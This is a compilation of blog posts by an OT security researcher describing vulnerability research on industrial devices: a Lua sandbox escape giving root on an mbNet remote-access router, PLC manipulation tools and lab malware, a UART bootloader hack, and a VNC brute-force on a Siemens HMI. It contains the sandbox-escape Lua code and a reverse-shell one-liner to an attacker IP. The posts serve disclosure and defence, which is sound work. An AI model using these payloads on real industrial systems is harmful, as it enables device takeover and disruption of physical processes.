An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

This OT remote access device is trusted across OT environments in Europe to maintain PLCs, HMIs, and field devices. Under the hood, it runs embedded Linux, exposes a web interface, and offers Lua scripting for automation and diagnostics. A critical vulnerability in the device’s Lua runtime — an undocumented function —bypasses all sandboxing restrictions and allows arbitrary OS command execution as root.

What should have been a controlled automation feature is, in reality, a direct pipeline to full device takeover.

This article details the vulnerability, the enumeration techniques used to uncover it, and the tooling developed to exploit it reliably via a custom python script.

⚡Take a moment and follow me on LinkedIn: https://www.linkedin.com/in/marcelrickcen/

Device Overview and Normal Operation

Before we dive into the analysis, let’s first understand how this device is intended to be used:

The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal.

Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.

The web-based interface offers a range of tools including diagnostics, logging, and scripting. One such feature is a Lua-based scripting environment, originally designed for data aggregation (e.g., pulling values from PLCs or sensors and pushing them to a cloud portal).

Scripts must be:

1. Submitted to the interface via the “Lua script” field.
2. Saved by clicking the “Save Script” button.
3. Executed using the “Start” button.
4. Output is retrieved separately via /cgi-bin/extras-lua_output.sh.

This scripting mechanism is a powerful tool — intended for automation, but exposed in ways that were not securely sandboxed. This design assumes the execution context is secure. It is not.

Discovering the Zero Day

Upon initial inspection, the Lua environment appeared sandboxed. Standard system functions like os.execute, io.open, and io.popen returned no results or were entirely absent.

To assess what remained accessible, I dumped the Lua global registry and inspected nested tables:

local reg = debug.getregistry()
for k,v in pairs(reg) do
  if type(v) == "function" then
    print("Function at registry key:", k, tostring(v))
  elseif type(v) == "table" then
    for key2,val2 in pairs(v) do
      if type(val2) == "function" then
        print("Function in nested table:", key2, tostring(val2))
[...]

This yielded a non-standard result:

Function in nested table: misc_exec function: 0x400ee4c4

Testing the function directly via:

print(misc_exec('id'))

produced the output:

uid=0(root) gid=0(root) groups=0(root)

This confirmed that:

• The function was executing arbitrary OS-level shell commands.
• Execution was occurring as the root user.
• The standard Lua sandbox was trivially bypassed through an undocumented internal binding.

Automating the Exploit via Pseudo-Shell

To streamline command execution, I developed a python script— shell.py—that transforms the Lua interface into a pseudo-interactive shell.

The tool automates:

1. Script Submission: Sends a Lua payload (e.g., print(misc_exec('<command>'))) as a simulated “Save” action.
2. Script Execution: Triggers “Run” or “Reload” via a second POST request.
3. Output Retrieval: Extracts and cleans the Lua output HTML via a GET request.

The Lua field introduces a 2~3-second execution delay, but the approach remains stable and effective.

Filesystem Access & Lateral Risk

Once a foothold is gained:

• Execution of reverse shell commands (e.g. bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1')
• Full filesystem traversal is possible (ls, cat, cp, wget)
• Configuration files can be exfiltrated
• Services can be restarted or modified
• Additional binaries (e.g., BusyBox) can be used if present

Given the device’s placement in industrial environments, compromise of this interface risks persistent remote code execution, pivoting to other hosts, and tampering with VPN or PLC routing logic.

Vendor Communication & Lifecycle Risk

The vulnerability was disclosed to MB Connect Line and acknowledged. However, the MDH849 is officially end-of-life.

The problem? OT environments do not sunset hardware at the same pace as IT. Devices like this remain deployed for 10+ years, often without updates, segmentation, or patch visibility.

In other words: this exploit remains viable in the wild

Impact Summary

While IT security standards assume product upgrades and patch cycles, OT systems operate under entirely different constraints:

• Long hardware lifecycles (20+ years)
• Limited change or patch windows due to operational criticality
• Vendor-specific certification or regulatory dependencies

The affected device family — especially the EOL mbNet HW1 — remains widely deployed in many sectors. Despite vendor recommendation to replace hardware, replacement will take years in many environments.

• Vulnerability Type: Sandbox escape + command injection via undocumented Lua function
• Impact: Arbitrary root command execution via web interface
• Authentication: Web login required (default credentials were accepted in several tested configurations)
• Device Status: End-of-life but widely deployed
• If you’re operating or managing mbNet HW1 (FW <5.1.11) devices — segment them now. Audit scripting access. And assume any exposed LUA interface can be escalated.

Disclosure Timeline

• 2025–07–06: Vulnerability discovered
• 2025–07–07: Vulnerability reported to manufacturer
• 2025–07–07: Manufacturer confirmed reception
• 2025–07–22: CVE IDs assigned by the manufacturer
• 2025–07–31: Public disclosure

Key Takeaways

• Embedded scripting interfaces in industrial systems are often under-tested and over-privileged.
• Undocumented native bindings (misc_exec) represent latent backdoors, whether intentional or not.
• Devices considered “secure by design” frequently expose administrative features that subvert the very security controls they claim to enforce.
• If you’re operating or managing mbNet HW 1 (FW <5.1.11) devices — segment them now. Audit scripting access. And assume any exposed interface can be escalated.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Sounds dramatic, right? But yes — I did write malware that compromised systems inside the German Federal Bureau of Information Security (BSI).
Before anyone freaks out: national security wasn’t in danger.
The target was real — but it lived inside an isolated Industrial Control Systems (ICS) lab, part of my master’s thesis project. And the malware? It was a stealthy proof-of-concept, designed to silently mess with the lab’s production process.

⚡Take a moment and follow me on LinkedIn: https://www.linkedin.com/in/marcelrickcen/

The Playground: Germany’s BSI ICS Lab

BSI’s lab is as close as it gets to a real factory floor, minus the consequences. Think conveyor belts, storage cells, processing stations, inspection lines — all controlled by PLCs and connected through industrial networks. This sandbox setup gave me the perfect environment to study how targeted malware could manipulate a process without sounding any alarms.

Hacking the System (Without Breaking It)

My mission was clear:
✅ Craft a PLC-based attack
✅ Avoid damage
✅ Avoid detection

Obvious attacks — like halting conveyors or crashing robots — were off the table. Too loud. Too destructive. I needed something subtle.

The answer?
Trigger false positives in the inspection cell — quietly rejecting parts that should’ve passed. Not ideal in a real factory, but perfect for a low-profile attack.

But there was a catch:

Rejected parts showed up on the HMI and SCADA dashboards. Not exactly stealthy. Anyone watching would see the manipulation in real time.

Digging Into the PLC Code

So I dove into the control logic. The inspection system used a shift register to track part types. If a part was classified as “material type 0,” no rejection or alert was triggered. That was my exploit path.

By injecting code that silently overwrote the part’s material type with a 0 — just before the system made a decision — I could cause the part to be rejected without flagging anything on the dashboards.

Coding The Malicious Lines

To keep the attack low-key, I wrapped my malicious logic in a simple state machine:

• 💤 Wait quietly for a few cycles
• ⚠️ Inject the payload
• 🚫 Reject 3 parts
• 🔁 Go back to sleep

In 15 minutes, I rejected over 50 parts — without a single alarm.
The operators would just assume the machine was having a bad day.

Why This Matters

This project wasn’t about breaking stuff — it was about showing how simple manipulations can bypass traditional monitoring in industrial environments. It also showed how important deep code reviews and behavioral anomaly detection are in ICS security.

Lessons Learned

Working inside BSI’s lab was a rare opportunity. It helped me experience firsthand how real-world systems can be exploited. It also deepened my respect for the complexity and fragility of industrial cybersecurity.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Renowned for their robustness and widespread adoption, Siemens Simatic Automation Controllers form the backbone of numerous production infrastructures worldwide. In this article, we’ll explore the capabilities of a python exploit script, examining how it discovers and manipulates S7 devices, the security implications, and what you should do to mitigate such threats.

Understanding the Target

The Siemens Simatic S7–1200 CPU 1212 programmable logic controller is the heart of small to medium sized industrial processes. It orchestrates the operations of various field devices and processes in real time, ensuring seamless functionality and efficiency. With operational lifespans stretching over 20 to 30 years, ICS often operate on outdated firmware and software, making them susceptible to cybersecurity exploits.

Pentest Conditions:

We’ll be operating under specific conditions:

• Direct OT network access.
• Emulation of SL-2 (IEC 62443) attacker capabilities.
• Adhering to a black-box approach, implying limited prior knowledge of the system.

SiemensScan.py: A Tool for S7 Controller Interaction

The SiemensScan.py script is part of the ICS Security Scripts Github Repository and is designed to interact with Siemens Simatic S7 controllers using Profinet and S7-specific communication protocols. When executed, it performs a series of actions that allow an operator to discover, analyze, and manipulate S7 devices on a network.

Step 1: Device Discovery

Once launched the script begins by performing a layer 2 discovery scan, sending a dedicated S7 packet to identify any Siemens S7 controllers on the local network. If a device responds, it is listed as a potential target.

If the user is not directly connected to the target network, they can manually enter the IP address of an S7 device to proceed.

Available Actions in SiemensScan.py

Once a target device is selected, the script presents a menu of available operations, which can be classified into three categories:

1. Non-intrusive actions (diagnostic and information-gathering)
2. Moderately intrusive actions (configuration changes)
3. Highly intrusive actions (disruptive operations that affect process control)

1. Non-Intrusive Actions

These operations do not alter the device’s state or functionality but can be useful for reconnaissance:

• List More Information: Displays firmware details, hardware specifications, and network parameters of the S7 device.
• Flash the Device LED: Activates the device’s LED for a set period. This is often used for field diagnostics to visually identify a specific controller. Since this action uses legitimate Profinet communication, it does not impact operations.

2. Moderately Intrusive Actions

These operations make changes to the device but do not directly disrupt its functionality:

• Print Outputs: Displays the state of binary inputs, internal flags, and digital outputs. While just printing this information is harmless, modifying the outputs moves this action into the highly intrusive category.
• Change the Device Name: Alters the network identification name of the controller. This does not impact its operation but can cause confusion in network management.

3. Highly Intrusive Actions

These operations can have severe consequences on industrial processes:

• Alter Outputs: Changing output states can directly affect machinery, or ystems connected to the PLC. This could disrupt production processes or in rare cases cause physical damage.
• Change CPU State (Run/Stop Mode): Switching an S7 controller from Run Mode to Stop Mode immediately halts all automation processes controlled by that PLC. In industrial environments, this could lead to downtime or financial losses.
• Change Network Configuration: Modifying the IP address of the controller effectively disconnects it from the network, preventing communication with SCADA systems, HMIs, or other controllers. This can lead to process interruptions and require manual intervention to restore normal operations.

Security Implications

The capabilities of SiemensScan.py highlight significant security risks in industrial control systems:

Lack of Authentication

• The Siemens S7 series, do not require authentication for basic functions like retrieving information, flashing LEDs, or even changing configurations.
• This allows unauthorized users to gather intelligence on the network and prepare for further attacks.

Potential for Disruptions

• Actions like modifying outputs or stopping the CPU can cause operational disruptions.
• Attackers with access to these functions could halt production, or in rare cases create unsafe conditions.

Network Attacks

• Changing network settings can effectively isolate a controller, breaking its connection with the supervisory control systems.
• Attackers with a high cyber-physical process comprehension may use this to replace legitimate control signals with malicious commands.

Mitigation Strategies

To defend against threats posed by tools like SiemensScan.py, organizations should implement strong cybersecurity measures:

Network Segmentation

• Industrial networks should be segmented per production cell or line to reduce exposure.
• Use firewalls and intrusion detection systems (IDS) to monitor traffic between segments.

Firmware & Patch Management

• Keep Siemens S7–1200 firmware up to date to address security vulnerabilities. Follow SiemensCERT or subscribe to their CSAF
• Disable unused services to reduce the attack surface.

Conclusion

SiemensScan.py is a powerful tool that demonstrates the security risks associated with industrial control systems. While it can be used for legitimate diagnostic purposes, its ability to alter PLC behavior highlights the need for robust cybersecurity measures in ICS environments.

Industrial operators and security professionals must take these threats seriously, implementing network segmentation, authentication, and monitoring to protect critical infrastructure. As attackers continue to target OT networks, proactive security measures are essential to maintaining operational integrity and safety.

By understanding how tools like SiemensScan.py work, OT Security professionals can better prepare for potential cyber threats and ensure the resilience of their industrial automation systems.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

The journey to CVE-2024–57790 began in late 2023 ago when I first accessed device. I encountered a highly fortified system with no attack surface for accessing the underlying OS. However, a ten-byte-long piece of information, hidden deep in the device’s memory, allowed me to gain full control over the device.

⚡Take a moment and follow me on LinkedIn: https://www.linkedin.com/in/marcelrickcen/

Normal Operation

Before we dive into the analysis, let’s understand first how this device is intended to be used: The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal. Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.

Initial Exploration

The investigation began with a network analysis of the device with nmap. The following ports were identified:

Despite its robust security measures, which included limited network-based attack surfaces, an undocumented DropbearSSH service on 22/tcp was discovered. According to IXON, this SSH was used exclusively for high-level troubleshooting, with security measures surpassing German BSI standards.

Physical and Hardware Analysis

As the network-based approach seemed to be a dead end, the focus shifted to physical recon, exploring the components on the PCB:

MediaTek MT7621AT: A dual-core MIPS-based SoC designed for mid-range routers, gateways, and IoT industrial devices. It integrates a 2×880 MHz CPU, a 5-port Gigabit Ethernet switch, PCIe for Wi-Fi modules, USB 3.0, and hardware NAT/crypto acceleration for high-throughput networking. It’s widely used in open-source-friendly devices because it runs Linux well and offers balanced performance, low cost, and good third-party support.

Winbond W25Q128JV: This is a serial peripheral interface (SPI) flash chip with 128 megabits of storage capacity. It is crucial for holding the device’s bootloader and its firmware. The bootloader is the first piece of software that runs when the device is powered on, and it’s responsible for initializing hardware and loading the main operating system from the flash storage.

Debug Interfaces: Connectors marked ‘RX TX GND’, indicative of a UART interface, which is typically used for console debugging and direct command-line access to the device’s OS.

UART Signal Analysis

Pins were soldered to the ‘RX TX GND’ connectors, and continuity tests confirmed the ‘GND’ as the Ground pin. Voltage across these pins was measured at 3.2 volts, typical for logic levels in modern electronic devices.

Using a logic analyzer, the transmission (TX) pin’s output was recorded. The length of the start bit, which is the initial bit in each frame of UART communication, helped calculate the baud rate — the rate at which information is transferred. Knowing the baud rate is crucial for setting up a serial terminal to interact with the device.

If we provide the baud rate to the async serial analyzer, we can stream the captured data from the UART channel to the terminal, and can read the serial console output. This reveals upon pressing space bar, the bootloader can be accessed.

Breaking into the Bootloader

Initial attempts to access the bootloader menu using a USB-TTL adapter and picocom were unsuccessful. A key observation was that data transmission only occurred when the RX pin on the PCB was held low during power-up. By connecting to the RX pin post-power-up, interaction with the serial output was possible.

After the boot sequence, a login screen appeared, but without credentials, progress stalled.

During the boot sequence, we saw a prompt appearing for a second, prompting to press the Space bar to access the bootloader menu. The challenge here was the extremely short time window available to respond. I had to repeatedly press the Space bar, almost frantically, hoping to successfully trigger the prompt.

To manage the timing more effectively, I utilized xdotool in a bash script to automate sending the Space bar press and the '4' key press repeatedly.

After multiple attempts with the automated script, I successfully accessed the U-Boot command prompt. The help command revealed fewer commands than typically available in U-Boot, suggesting that the vendor had hardened the bootloader to limit administrative actions. This hardening is a security measure intended to prevent attackers from easily manipulating the boot process or performing potentially destructive actions.

Dumping SPI Memory Content

Further boot log analysis revealed that the SPI flash memory is divided into four distinct partitions: U-Boot, U-Boot environment, factory settings, and firmware. Each partition plays a specific role in the device’s functionality.

Inspired by IoT hardware hacking insights from Matt Brown, the focus shifted to using the U-Boot command line to access the SPI memory. Using the spi read command I dumped the content of the factory partition and saved the data into a logfile.

After converting the data from text format into byte format, I was able open the file with an hexeditor. The file contained only a few lines of readable information, which matched the data printed on the side label of the device, revealing that the serial number, version and web password are stored in the factory partition of the SPI chip.

A unknown string caught my attention, as this was nowhere to be found in the accessible resources and didn’t seem to have any relation to the other information found.

Having work experience for an OT device manufacturer, I was sure that the factory has a MES system providing the factory data to both the SPI flash process and the label printer. I was sure the unknown information is somehow related to this device. A behind-the-scenes video from the company showed the process: after the printed circuit boards (PCBs) pass electrical testing, the firmware is flashed onto the device. On the surface, it seems routine. But beneath it lies one of the most vulnerable junctures in the device lifecycle:

Watch the video here.

Root Access and Security Implications

I tried the unknown string on the serial login screen with the root user, revealing that this bit of information is a hardcoded root password. With that, login as root at the serial console was successful, providing unrestricted access.

This credential was also valid for the SSH service. Having root access allowed me to interact with the system with almost no boundaries. This includes accessing the shadow file and retrieving API keys used for interfacing with the cloud service.

70,000 Machines Exposed — At Least in Theory

According to a 2024 manufacturer blog post, approximately 70,000 machines worldwide are connected through their remote-access solution. In principle, this suggests that the same number of assets could be affected by the identified vulnerability.

In practice, the real exposure is likely lower: many operators deploy the device in centralized architectures rather than on every machine, and the vendor also provides software-based VPN alternatives that may reduce the number of vulnerable hardware units.

Responsible Disclosure

The discovery was promptly reported to IXON, confirming that the root password is unique to each device, randomly generated during production. Therefore, this finding is treated as tolerable risk.

IXON issued a statement and guideline on their security advisories.

🦄 If you find this article useful, please help me by sharing it with your network and giving me a clap. Your help is appreciated.

Post Mortem

Digging further into the scripts running at the initialization of the embedded device, revealed that the root and webuser passwords are generated during that phase. The first initialization script reads the plaintext credential from the specific memory address, encrypts it and stores the hash in the /etc/shadow file.

Conclusion

I would like to extend a huge thank you to Matt Brown, who provided the crucial clue that allowed me to gain root access.

The IXON router proved robust against casual hacking attempts, particularly when secured physically in operational environments. The unique root passwords per device further mitigate the risk of widespread device compromise from a single point of attack. In general, following the security recommendations of IXON should be best practise for both integrators and operators, ensuring the device is operated in a locked electrical cabinet. However, this scenario also highlights the potential for supply chain attacks, where pre-compromised devices could pose significant threats.

About the Author

Marcel Rick-Cen is the founder and lead instructor of the startup FOXGRID Industrial, a service platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Human-Machine Interface (HMI) panels serve as the critical bridge between operators and process controllers. Getting locked out from these devices will have fatal consequences, as they provide real-time visualization, control, and monitoring of automated processes. Siemens HMI panels often use Siemens Sm@rt Server, which leverages the vulnerable VNC protocol for remote access to the panel. While convenient for operators needing offsite monitoring, this remote access mechanism can become an attack vector if improperly secured.

In this guide, we’ll walk through a penetration testing process on a Siemens HMI panel. This tutorial is intended for cybersecurity professionals and enthusiasts who are looking to understand the practical aspects of securing industrial control system (ICS) environments.

Initial Reconnaissance with Nmap

We begin with a network scan to identify open ports and services on the HMI panel. Running a comprehensive Nmap scan, including full port range scanning and version detection, reveals four open ports.

One of the open ports, port 102, stands out as it suggests the presence of Siemens S7 protocol — a proprietary communication protocol used by Siemens PLCs. Although running the Nmap S7 InfoScript on this port yields no useful results, another port, port 5900, catches our attention due to its association with the VNC (Virtual Network Computing) service.

A focused Nmap script scan on port 5900 confirms that the VNC service is active:

The output reveals the security type of the VNC service. However, since the HMI has tighter security configurations, the vnc-title script does not provide any results without authentication.

Brute-Force Attack on VNC Service

With the VNC service identified, the next logical step is to attempt authentication. For this, we use Hydra, a powerful password-cracking tool, and an ICS-specific password list. Here’s the Hydra command:

After running the tool, Hydra successfully cracks the password: 123456. This weak and commonly used password highlights the persistent issue of prioritizing convenience over security in many OT environments.

Alternative NSE Script-Based Approach

The Nmap scripting engine (NSE) also provides a vnc-brute script to test default or weak passwords against the VNC service. Unlike Hydra, this script continues testing even after finding a valid password, and in our case, it uncovers two passwords: 123456 and password.

Post-Exploitation and Impact Assessment

With the VNC password in hand, we log into the HMI panel. Once authenticated, we can perform several actions that demonstrate the risks associated with insecure configurations:

1. Shutdown the HMI Application: Disabling the HMI interface disrupts operations and can halt the associated industrial process.
2. Locking Out Local Users: By disabling panel input when a VNC connection is active, we can prevent on-site operators from regaining control of the HMI.

These actions underscore the critical need for robust security configurations to prevent malicious exploitation.

Exposed HMI in the Wild

By simply querying for generic VNC services, you can uncover countless HMIs exposed to the public internet.

The results can range from the somewhat humorous – such as an HMI in a laundromat displaying a washer and dryer interface – to the deeply concerning, such as P&ID screens revealing the control interface for a water treatment facility.

Key Learnings and Recommendations

Weak passwords, unnecessary services, and insufficient access controls are common vulnerabilities that can be exploited with minimal effort. By following best practices like below, you can significantly improve the security posture of their industrial systems:

1. Disable Unused Remote Access Services: If remote access is unnecessary, disable the VNC service entirely. This eliminates a significant attack vector.
2. Strengthen Password Policies: Replace weak, default passwords with strong, unique ones. Try a balanced approach that ensures quick access for operators while maintaining robust security.
3. Regular Security Assessments: Periodically test and review HMI configurations to identify and remediate vulnerabilities. Incorporate penetration testing into routine security practices.
4. Defense-in-Depth:

• Implement network segmentation to restrict access to HMI panels.
• Use firewalls to permit access only from trusted hosts.
• Deploy intrusion detection systems (IDS) to monitor for unauthorized access attempts.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.